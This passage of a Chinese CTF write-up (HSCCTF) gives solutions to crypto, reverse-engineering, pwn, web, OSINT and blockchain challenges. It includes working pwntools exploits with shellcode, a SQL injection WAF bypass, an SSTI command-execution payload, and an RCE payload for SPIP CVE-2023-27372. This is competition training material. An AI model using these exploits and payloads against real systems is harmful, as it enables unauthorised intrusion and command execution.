t = [3482937270284373504, 3729542463939501056, 1354530592839269376, 2340035975483411456, 3318144666530505728, 4321971466042776576, 4107840020098758656, 2600042509314867200, 3185315495632337920, 2510425761632839680, 3758844697217568768, 1813627045100445696, 1035634427310004224, 1650895865179787264, 931858574122051584, 3821738968282525696, 751354306590687232, 812159733109825536, 1984846083975063552, 426674528748978176, 1786129270688538624, 53204613942820864, 4207648582990901248, 2441413890227052544, 4573249524143439872, 2901255116891488256, 3331287389413953536, 1594453621617430528, 7636565623463936, 3261865719383670784, 3211543945355886592, 4414864510393499648, 1781787468450406400, 4381257290165919744, 1683943310183464960, 1618102318685454336, 3082727664554508288, 1284750602156802048, 4536273674447527936, 4224428964375134208, 1990811212107251712, 220641709431201792, 56727929599156224, 1394394833783595008, 474539825790402560, 2367070412709519360, 86013256530493440, 3983263247386468352, 4488230536002330624, 1131832099054157824, 4470326732790874112, 2361104703887433728, 1850267988673478656, 519014833878171648, 2447115942472581120, 2567048274520276992, 3409815404144214016, 2569012418791473152, 2239861171203006464, 3207035079062069248, 1423032481934245888, 3660676895628648448, 3197924030326439936, 2173721402472767488, 1836499846562930688, 1193190307175825408, 2757965850888388608, 3833547905923039232, 113362523505639424, 2095507640221974528, 695818728283136000, 2746136108677742592, 80271849461956608, 544596706215608320, 857894362373431296, 1801819582386577408, 2748888436946362368, 1760827740054806528, 2544591920627023872, 4324861829346312192, 3073160513540464640, 3260750497480876032, 1268136159796920320, 2738758060057362432, 460370852221685760, 3694812482865025024, 674485732026892288, 31827325234905088, 1076067066569760768, 3538749128687951872, 4553745898606747648, 3332219178735149056, 329835532944998400, 4576690061027602432, 3023286444576161792, 1797946474203955200, 4558389623053447168, 1790588264296259584, 3017170271014150144, 991463616551034880, 1940023178234544128, 3414390445152993280, 644333657859764224, 3692106158122917888, 3167684436092710912, 789204772426006528, 4353661356398166016, 2000540208800374784, 3942168043465134080, 3332450567729246208, 2627875622523490304, 9371534919516160, 848644069081235456, 2192689498702295040, 907016265148577792, 2645935549696630784, 2590866188404383744, 3750676748846913536, 3694849270404139008, 4268369840164233216, 3556945000413347840, 1995615102316576768, 4445424004994387968, 2929133498761163776, 2462149674675616768, 741748174115656704, 39754566828455680, 4477497218304360448]
s = [1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1]

x = [(n-k)%n for k in v]
res = add(w,mul(s,x,n,mod),n,mod)

t1 = (res//(2**30))[:76]
t2 = (res%(2**30))[:76]

c = ''
for i in range(len(t1)):
if t2[i] > 1000000:
c += chr(t1[i]+1)
else:
c += chr(t1[i])

print(long_to_bytes(int(c,16)))

# b'HSCCTF{vb6fh8gd7fy87jht7fgyt7g89gb9dn}'

RSATEST

给了公钥文件和密文,在线解析公钥得到 $n,e$,wiener attack求 $d$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
def rational_to_contfrac(x,y):
# Converts a rational x/y fraction into a list of partial quotients [a0, ..., an]
a = x // y
pquotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
pquotients.append(a)
return pquotients

def convergents_from_contfrac(frac):
# computes the list of convergents using the list of partial quotients
convs = [];
for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0 : i]))
return convs

def contfrac_to_rational (frac):
# Converts a finite continued fraction [a0, ..., an] to an x/y rational.
if len(frac) == 0: return (0,1)
num = frac[-1]
denom = 1
for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num
return (num, denom)

e = 28590331496425613818981991777617535857151582651120346436859967760844419275658771430821058722393674433618893115968176611013590439492663850993790177381059077045197086133940118402088554088073121591402095323966107722485647643452801806511583327361664114727935171402256611877627071996643841223356362367747555753013
n = 82016816963574560365976489524199243050120748716806912567895093731022264392235286524041630435256965141365061465268083316572087612155218061280174438822024011254230300135794845491207820824129566975766207833561478897150955561714805950254000266078855648956964973181825856857736088834707915779351726709234357344729

def egcd(a, b):
if a == 0: return (b, 0, 1)
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)

def mod_inv(a, m):
g, x, _ = egcd(a, m)
return (x + m) % m

def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x

def crack_rsa(e, n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)

for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
# check if x*x - s*x + n = 0 has integer roots
D = s * s - 4 * n
if D >= 0:
sq = isqrt(D)
if sq * sq == D and (s + sq) % 2 == 0: return d

d = crack_rsa(e, n)
print(d)

# 11883451304899715537

根据 $n,e,d$ 分解 $p,q$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import random
import gmpy2

def divide_pq(e, d, n):
k = e*d - 1
while True:
g = random.randint(2, n-1)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gmpy2.gcd(x-1, n) > 1:
p = gmpy2.gcd(x-1, n)
return (p, n//p)

e = 28590331496425613818981991777617535857151582651120346436859967760844419275658771430821058722393674433618893115968176611013590439492663850993790177381059077045197086133940118402088554088073121591402095323966107722485647643452801806511583327361664114727935171402256611877627071996643841223356362367747555753013
n = 82016816963574560365976489524199243050120748716806912567895093731022264392235286524041630435256965141365061465268083316572087612155218061280174438822024011254230300135794845491207820824129566975766207833561478897150955561714805950254000266078855648956964973181825856857736088834707915779351726709234357344729
c = 0x1d1d98935d8bc395049b978b53ab72fc2c722f30b84bbf6c2bf3473320d040525bce59094840b229cf1fee0332c9dbcfc9cc07bf0841d2ec5f25b3f6a2868db433aca742d1e17a7b89f94412a77ea2f0ee3c30b53e250f77c44fd0e9c47bdfbfaa6dfe3f987409e9e6501962bf425cb686b570f922b843e30b4e96521c2dd296
d=11883451304899715537
p, q = divide_pq(e, d, n)
print(f'p = {p}')
print(f'q = {q}')

# p = 8281403040977025531549820722276265064745565654568438822912387430707467937623490534629221470348100185977195507167386055422519226694536400000080279834237671
# q = 9903734494958037799680839753815171083006157728210189116724935884147895459864893196164405513869856559603118560765385175174916229249053756596318108626734399

生成私钥文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.PublicKey import RSA

e=28590331496425613818981991777617535857151582651120346436859967760844419275658771430821058722393674433618893115968176611013590439492663850993790177381059077045197086133940118402088554088073121591402095323966107722485647643452801806511583327361664114727935171402256611877627071996643841223356362367747555753013
n=82016816963574560365976489524199243050120748716806912567895093731022264392235286524041630435256965141365061465268083316572087612155218061280174438822024011254230300135794845491207820824129566975766207833561478897150955561714805950254000266078855648956964973181825856857736088834707915779351726709234357344729
c=0x1d1d98935d8bc395049b978b53ab72fc2c722f30b84bbf6c2bf3473320d040525bce59094840b229cf1fee0332c9dbcfc9cc07bf0841d2ec5f25b3f6a2868db433aca742d1e17a7b89f94412a77ea2f0ee3c30b53e250f77c44fd0e9c47bdfbfaa6dfe3f987409e9e6501962bf425cb686b570f922b843e30b4e96521c2dd296
d=11883451304899715537
p = 8281403040977025531549820722276265064745565654568438822912387430707467937623490534629221470348100185977195507167386055422519226694536400000080279834237671
q = 9903734494958037799680839753815171083006157728210189116724935884147895459864893196164405513869856559603118560765385175174916229249053756596318108626734399


rsa_components = (n, e, d, p, q)
myrsa = RSA.construct(rsa_components)

private = open('private.pem', 'wb')
private.write(myrsa.exportKey())
private.close()

openssl解密:

openssl rsautl -decrypt -inkey private.pem -in output.txt

输出:09C96E1A3ACC46E3C9F7603EB592FE4A

flag:HSCCTF{09C96E1A3ACC46E3C9F7603EB592FE4A}

STAR_CHASING_DIARY

crypto!图片?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# key.py
from Crypto.Util.number import *
from random import *

p = getPrime(512)
q = getPrime(512)
print("p =", p)
print("q =", q)
n = p * q
key = '********************'
m = bytes_to_long(key.encode())
assert m.bit_length() < 300
r = randint(1, n)
c = (pow(n + 1, m, n * n) * pow(r, n, n * n)) % (n * n)
print("c =", c)

# p = 7828612943367317778189697443061863547768704021648982642807960201410438190347546379219450386530108335470584219657007036386835647156694512102467911388214639
# q = 11560196429251786803557082533869761370530605728500211999842201987445533038949033226473164866960007192683170489064961432891988337343103657552186800680461299
# c = 768905250861905487717845092484035532140840941871031779930259407348955511757335716790249355464829607714399266689960353955065504221985891074636544161678177920296971444880997864168042745264256952808480926755620637239135808617643874771066244234690401223758004286234917537720362007827248701308605961814972773704288547887039586934111562590676930853945316673164146667949991176600280451163710564978897622310650541491271961315592017251211248379608602287809736613530069187936569470129814949302440734244885473716072898519354127964155042421376782226235081303957997587618278341829891036314980185040102049478608445519994654780162
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# task.py
"""
小肖在学习的过程中,了解到了一种填充图片的算法,兴奋的她用它和RSA加密了偶像的照片,
但是在传输的过程中丢失了一部分加密算法,你能帮她补全,并解出来偶像的照片吗?
"""
from PIL import Image

def f(n, x, y):
if n == 0:
return 1
m = 1 << (n - 1)

j = 128
mm = []
for i in range(1, 257):
for s in range(1, 257):
mm.append(f(j, i, s) - 1)

img = Image.open('flag.jpg')
pixels = list(img.getdata())
data = [pixel for pixel in pixels]

img = Image.open('key.png')
pixels = list(img.getdata())
png_key = [pixel for pixel in pixels]

enc = [0] * 65536
for i in range(65536):
enc[i] = data[mm[i]]
for s in range(65536):
enc[s] = enc[s] ^ png_key[s]

image = Image.new('L', (256, 256))
image.putdata(enc)
image.save('enc.jpg')

先看 key.py,Paillier密码系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p = 7828612943367317778189697443061863547768704021648982642807960201410438190347546379219450386530108335470584219657007036386835647156694512102467911388214639
q = 11560196429251786803557082533869761370530605728500211999842201987445533038949033226473164866960007192683170489064961432891988337343103657552186800680461299
c = 768905250861905487717845092484035532140840941871031779930259407348955511757335716790249355464829607714399266689960353955065504221985891074636544161678177920296971444880997864168042745264256952808480926755620637239135808617643874771066244234690401223758004286234917537720362007827248701308605961814972773704288547887039586934111562590676930853945316673164146667949991176600280451163710564978897622310650541491271961315592017251211248379608602287809736613530069187936569470129814949302440734244885473716072898519354127964155042421376782226235081303957997587618278341829891036314980185040102049478608445519994654780162
n = p*q

def L(x,n):
return (x-1)//n

lamb = (p-1)*(q-1)
miu = inverse_mod(lamb,n)
m = (L(pow(c,lamb,n**2),n)*miu)%n
print(bytes.fromhex(hex(m)[2:]))

b'HSCCTF{this_is_a_fake_flag}'

用密码 HSCCTF{this_is_a_fake_flag} 解压得到 key.png。

再看 task.py,f() 函数不完整,根据提示是一种填充图片的算法,必定遍历0~65535共65536个下标值。

结合 m = 1 << (n - 1) 和传入的 $n=128=\frac{256}{2}$,猜测为使用Hilbert曲线遍历 $256 \times 256$ 个值。

找到Hilbert曲线递归遍历的代码,补充 f() 函数,还原flag.jpg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def f(n, x, y):
if n == 0:
return 1
m = 1 << (n - 1)
if x <= m:
if y <= m:
return f(n - 1, y, x)
else:
return m * m + f(n - 1, x, y - m)
else:
if y > m:
return 2 * m * m + f(n - 1, x - m, y - m)
else:
return 3 * m * m + f(n - 1, m + 1 - y, m + 1 - (x - m))

j = 128
mm = []
for i in range(1, 257):
for s in range(1, 257):
mm.append(f(j, i, s) - 1)

print(mm)

from PIL import Image
img = Image.open('enc.jpg')
pixels = list(img.getdata())
c = [pixel for pixel in pixels]

img = Image.open('key.png')
pixels = list(img.getdata())
png_key = [pixel for pixel in pixels]

for s in range(65536):
c[s] = c[s] ^ png_key[s]

flag = [0] * 65536
for i in range(65536):
flag[mm[i]] = c[i]

image = Image.new('L', (256, 256))
image.putdata(flag)
image.save('flag.jpg')

得到原始图片:

flag

flag:HSCCTF{oh!_you_c_yhhhh}

REVERSE

TEA

将得到的flag改为HSCCTF。

简答TEA加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *

def decrypt(v, k):
v0 = v[0]
v1 = v[1]
x = 0x9E3779B9 * 32
delta = 0x9E3779B9
k0 = k[0]
k1 = k[1]
k2 = k[2]
k3 = k[3]
for i in range(32):
v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

check_index = [3,1,0,2]
check_enc = [0x05,0xd7,0xb8,0x67]
c = [check_enc[check_index[i]] for i in range(4)]
c0 = bytes_to_long(bytes(c)[::-1])
c1 = int('3c471c36'[::-1],16)

key = [2, 2, 3, 4]
d = decrypt([c0,c1], key)
print(hex(d[0])[2:]+'-'+hex(d[1])[2:])

#688ed036-a86a60ce

flag:flag{688ed036-a86a60ce}

ROULETTE

听说麻将连胜8局达到8本场就可以直接役满?!!
那么…这个游戏连胜8局难道会直接得到flag?!!!
(宫永照脸
flag形式同其他题目。

patch main_0() 中的 call sub_43E165call sub_445990

再运行patch后的程序,直接输出结果 HSCCTF{H31L0_My_FR13ND!}

THE_WOLF_SONG

flag形式为:HSCCTF{this_is_an_example}
听电子音乐,享赛博人生。

patch main函数的输出。进入 sub_1400440F0(),识别为RC4算法。

照代码逻辑动调逆一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
c = [0xCE, 0x26, 0x9C, 0x07, 0x48, 0xD9, 0xFD, 0x23, 0xBA, 0x9A, 
0x40, 0xA8, 0x2E, 0xBD, 0xFC, 0x77, 0xB7, 0x5D, 0x7E, 0x67,
0x99, 0xFD, 0xCD, 0x63, 0x13, 0x0A, 0x94, 0x5B, 0x95, 0x2C,
0x26, 0x60, 0x1E, 0x1E, 0xB4, 0x30, 0x89, 0xCF, 0xEF, 0x68]
b890 = [1,2,3,4,5,6,7,8,9,0,0,0,0,0,0,0]
b8a0 = [5,2,3,1,4,7,8,6,0,5,0xa,0xf,0x14,0x19,0x1e,0]
k = b'HSCCTF{FAKE_FLAG!}'

c = [c[i]^i for i in range(len(c))]
c = [c[i]^(k[i+1] if i<len(k)-1 else 0) for i in range(len(c))]
c = [c[i]^(k[i] if i<len(k) else 0) for i in range(len(c))]
c = [c[i]^i for i in range(len(c))]

# RC4
N = 256
S = [0] * N
key = 'HSCCTF{FAKE_FLAG!}'
Key = [0] * N

t = c[:]

for i in range(N):
S[i] = i
Key[i] = ord(key[i % len(key)])

j = 0
for i in range(N):
j = (j + S[i] + Key[i]) % N
S[i], S[j] = S[j], S[i]

i = 0
j = 0
for k in range(len(t)):
i = (i + 1) % N
j = (j + S[i]) % N
S[i], S[j] = S[j], S[i]
t[k] ^= S[(S[i] + S[j]) % N]

print(t)

t = [k^b890[b8a0[1]] for k in t]
t = [k^b890[b8a0[0]] for k in t]
print(bytes(t))

b'HSCCTF{Welcome_To_Participate_In_HSCCTF}'

NO_PY

flag形式为:HSCCTF{this_is_an_example} 将得到的flag改为HSCCTF。

参考 BeginCTF 2024 - ezpython。

pyinstxtractor解包程序,pycdc反编译pyc , 发现是个SM4加密,缺少 key 和 enc。

继续反编译 PYZ-00.pyz_extracted/secret.pyc

1
2
key = 'Please_Do_not_py'
enc = b'YJ+70VWYioYm3EhF6qdScVXBpCdPm+hCS/HP+Gj421RyxkZbwzni7o2zGG/Mis4Wr6sbXYr4ufnKwQk7vrG8yA=='

直接用SM4解不出,再反编译看 PYZ-00.pyz_extracted/gmssl/sm4.pyc 对比,发现魔改点,对key做了异或操作:key = (lambda .0: [ i ^ 102 for i in .0 ])(key)

将key异或102,再SM4解密得flag:flag{Pay_M0re_@ttention_to_th3_key!!}

PWN

STACK

栈溢出,gift() 函数只给了 jmp rsp,控制rsp即可。

1
2
3
4
5
------------------------------------------------------------------------------------
| buf | rbp | ret | ... ... |
------------------------------------------------------------------------------------
| shellcode + padding | gadget(jmp rsp) | asm(sub rsp, 0x90;jmp rsp) |
------------------------------------------------------------------------------------

当ret的时候,rip被赋值,指向了当前的rsp所指向的值,即jmp rsp的gadget,同时rsp自减一个字;

当程序继续执行,jmp rsp时,执行流被劫持到栈上,具体地址为ret的后一个字;

继续执行我们布置好的指令:rsp自减,指向buf开头,即shellcode开头。rip自动后移,指向jmp rsp;

继续执行,控制流jmp到rsp所指,buf的开头区域,顺利执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r=remote('111.180.204.186',14028)
context(arch='amd64')

gift=0x40063B
ret=0x40050e

r.recvline()
sc=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
pl=sc.ljust(0x20+8,b'\x00')+p64(gift)+asm('sub rsp,0x30;jmp rsp')
r.sendline(pl)

r.interactive()

PWN01

参考 NJCTF 2017 - messager, 在函数 sub_400BE9() 存在一个明显的栈溢出漏洞,由于程序fork出了子进程,子进程的崩溃不影响主进程,故可通过爆破方式突破canary保护,覆盖函数返回地址改为 sub_400B8E() 得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

def get_canary():
canary = b'\x00'
while len(canary) < 8:
for x in range(256):
r = remote('111.180.204.186', 14831)
r.recv()
r.send(b'a' * 104 + canary + bytes([x]))

try:
r.recv()
canary += bytes([x])
break
except:
pass
finally:
r.close()
print(x,canary)
return canary

canary = get_canary()
print(canary)

r = remote('111.180.204.186', 14831)
target = 0x400b8e
payload = b'a' * 104 + canary + b'a' * 8 + p64(target)
r.send(payload)

r.interactive()

PWN02

参考 BUUCTF - inndy_echo2,PIE+64为fmt,利用fmt泄露canary和程序基址,再改printf的got地址为system_plt即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

r=remote('111.180.204.186',13978)
elf=ELF('./pwn')
context(arch = 'amd64',os = 'linux')

r.sendline(b'%39$p')
canary=eval(r.recvline())
print(hex(canary))

r.sendline(b'%41$p')
pie=eval(r.recvline())-74-0x9b9
print(hex(pie))

system_plt=pie+0x790
printf_got=pie+elf.got.printf

pl=fmtstr_payload(6, {printf_got:system_plt})
r.sendline(pl)

r.interactive()

GHOST

参考 RoarCTF 2019 - Ez-op,题目是一个功能简单的vm,共有push/pop/add/sub/mul/div/load/save 8种指令。

漏洞在于load和save没有对offset进行检查,导致vm stack越界访问和写入,而题目是静态编译,free_hook和system等地址都已知。

由于stack->data指向堆,所以需要先利用load将堆地址读入vm stack中,然后和bss上的free_hook进行sub操作,再进行div 4就可以获得堆地址和free_hook之间的偏移,将system地址写入之后,后面触发free(input)的地方就可以getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

r = remote('111.180.204.186',11764)

push = 0xAAAA
pop = 0xBBBB
add = 0xCCCC
sub = 0xDDDD
mul = 0xEEEE
div = 0xFFFF
load = 0x1145
save = 0x1919

system_addr = 0x8050940
free_hook = 0x80dc9F0
def create(d):
return " ".join([str(x) for x in d])

heap_offset = (0x110-8) // 4
code = create([push,push,push,push,load,push,sub,div,save])
data = create(["/bin/sh",system_addr,4,heap_offset,free_hook])
r.sendline(code)
r.sendline(data)

r.interactive()

WEB

CHECKIN

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
error_reporting(0);
$a=$_POST[1];
$b="php://filter/$a/resource=/dev/null";
if(file_get_contents($b)==="2024"){
echo file_get_contents('/flag');
}else{
echo $b;
}

参考 ImaginaryCTF Round 28 - Filter Master,预期是构造filter链生成所需字符串。

非预期:

传入 resource=data:,2024<|string.strip_tags|,利用PHP通过简单识别 | 作为filter分割字符来选择filter的特性。

payload:

POST 1=resource=data:,2024<|string.strip_tags|

PWD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
highlight_file(__FILE__);
$con = mysqli_connect("localhost","root","root","ccut");
function waffff($sql) {
if (preg_match("/infor|sys|sql|thread|case|when|if|like|left|right|mid|cmp|sub|locate|position|match|find|field|sleep|repeat|lock|bench|process|<|>|=|xor|and|&&|\\\\/i", $sql)) {
die("hacker");
}
}
if (isset($_POST['password'])) {
$password = $_POST['password'];
waffff($password);
$sql = "SELECT password FROM users WHERE username='admin' and password='$password'";
$user_result = mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if ($row['password'] === $password) {
include "/flag";
} else {
echo "error";
}
}

要求输入的password参数值等于系统的password值,利用union select实现输入和输出内容一致,Quine注入。

POST:

password=1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

TMPL

SSTI漏洞,限制了部分字符,用fenjing解决。

payload:

{{g|attr((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*3)%(112,111,112))|attr((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*11)%(95,95,103,108,111,98,97,108,115,95,95))|attr((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*11)%(95,95,103,101,116,105,116,101,109,95,95))((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*12)%(95,95,98,117,105,108,116,105,110,115,95,95))|attr((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*11)%(95,95,103,101,116,105,116,101,109,95,95))((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*10)%(95,95,105,109,112,111,114,116,95,95))((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*2)%(111,115))|attr((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*5)%(112,111,112,101,110))((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*9)%(99,97,116,32,47,102,108,97,103))|attr((({}|escape|urlencode|first~joiner|string|batch(2)|first|last)*4)%(114,101,97,100))()}}

SHIROSHORTMENSHELL

使用shiro攻击工具shiro_attack-4.5.2-SNAPSHOT-all.jar,找到key:kPH+bIxk5D2deZiIxcaaaA==,再用cb1链打通getshell即可。

DESERIALIZATION

SPIP CMS <v4.2.1 反序列化RCE漏洞(CVE-2023-27372)

参考:【漏洞复现】CVE-2023-27372 RCE漏洞

列目录:

1
2
3
POST /spip.php?page=spip_pass

page=spip_pass&formulaire_action=oubli&formulaire_action_args=JWFEz0e3UDloiG3zKNtcjKCjPLtvQ3Ec0vfRTgIG7u7L0csbb259X%2Buk1lEX5F3%2F09Cb1W8MzTye1Q%3D%3D&formulaire_action_sign=&oubli=s:21:"<?=system('ls /'); ?>";&nobot=

读文件:

1
2
3
POST /spip.php?page=spip_pass HTTP/1.1

page=spip_pass&formulaire_action=oubli&formulaire_action_args=JWFEz0e3UDloiG3zKNtcjKCjPLtvQ3Ec0vfRTgIG7u7L0csbb259X%2Buk1lEX5F3%2F09Cb1W8MzTye1Q%3D%3D&formulaire_action_sign=&oubli=s:25:"<?=system('uniq /f*'); ?>";&nobot=

LOG

Hint: 同学发给我一个网址https://x.x.x.x/?md5=9c80d2bb0bccfefeb3750744c0760496&applicant=admin&filename=web.log,说让我帮忙看看网站运行日志,同学说这是他写的一个非常安全方便的文件查看器。 真的安全吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
$secret=getenv("SECRETKEY"); # For security reasons, the key length is greater than 8.

if(isset($_GET["md5"]) && isset($_GET["applicant"]) && isset($_GET["filename"])){
if($_GET["md5"] === md5($secret.$_GET["applicant"].$_GET["filename"])){
$file_contents = file_get_contents($_GET["filename"]);
echo $file_contents;
}else{
die("My tool is safe.");
}
}else{
highlight_file(__FILE__);
}

哈希长度扩展攻击。

已知secret位数大于8,已知明文 adminweb.log,已知md5 hash=9c80d2bb0bccfefeb3750744c0760496,扩展字符 /flag

利用脚本爆破secret位数,尝试到15的时候成功获取flag:

1
2
3
4
5
6
7
8
9
10
11
python3 hash_ext_attack.py                                                  
2024-03-10 08:17:33.714 | DEBUG | common.md5_manual:__init__:17 - init......
请输入已知明文:adminweb.log
请输入已知hash: 9c80d2bb0bccfefeb3750744c0760496
请输入扩展字符: /flag
请输入密钥长度:15
2024-03-10 08:27:02.695 | INFO | __main__:run:69 - 已知明文:b'adminweb.log'
2024-03-10 08:27:02.695 | INFO | __main__:run:70 - 已知hash:b'9c80d2bb0bccfefeb3750744c0760496'
2024-03-10 08:27:02.695 | INFO | __main__:run:72 - 新明文:b'adminweb.log\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00/flag'
2024-03-10 08:27:02.695 | INFO | __main__:run:73 - 新明文(url编码):adminweb.log%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D8%00%00%00%00%00%00%00%2Fflag
2024-03-10 08:27:02.695 | INFO | __main__:run:75 - 新hash:46879013726bfb7dff6921fd2e9ab2f8

payload:

GET /?md5=46879013726bfb7dff6921fd2e9ab2f8&applicant=adminweb.log%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D8%00%00%00%00%00%00%00&filename=/flag

OSINT

NICE_RIVER

百度识图,识别大桥为琶洲大桥,根据方位定位到保利天幕广场员工停车场:HSCCTF{23.10393,113.38363}

город

google识图,找到https://wikimapia.org/4495454/Olonkho-shopping-centre

定位为Olonkho shopping centre,定位点:HSCCTF{62.03716,129.73620}

CAR

截取楼的部分百度识图,识别出为渝州宾馆。

小红书里搜索渝州宾馆,看到一张清晰的图片,正对的是渝州宾馆黄山厅,左边是大堂。

结合百度和google卫星视图看,得到定位点:HSCCTF{29.53201,106.50045}

FLAG

搜索关键词:圣彼得堡+广场+船锚,找到相关图片:https://www.huitu.com/photo/show/20190424/162434930070.html。

定位为圣彼得堡瓦西里岛古港口,定位点:HSCCTF{59.94387,30.30595}

CITY

百度识图,找到米漾米居酒店,地址:HSCCTF{山东省菏泽市牡丹区黄巢路7号}

BLOCKCHAIN

BONUS

年终奖

坏消息:公司只给你发了一张超市的会员卡作为年终奖
好消息:余额有114514元
坏消息:只能用来购买一块钱的糖,一次只能买一个
好消息:余额只剩1元时可以获得名为flag的神秘大奖
兑奖地址:nc xx.xx.xx.xx xxxx

智能合约部署网络为Polygon Mumbai
地址为:0xB2e3926c8F1eb762e0eb3844026A8Fd8fF5A311a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//contract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

contract VipCard {
mapping(address => uint) public balances;

function applyCard() public {
balances[msg.sender] = 114514;
}

function topUp(uint _amount) public {
balances[msg.sender] += _amount;
}

function buyCandy() public {
require(balances[msg.sender] > 0, "not sufficient funds");
balances[msg.sender] -= 1;
}
}

非预期,进入区块链浏览器PolygonScan查看地址0xB2e3926c8F1eb762e0eb3844026A8Fd8fF5A311a的交易记录,输入输入已完成题目要求的选手的地址即可。

预期解应该是uint上溢出漏洞。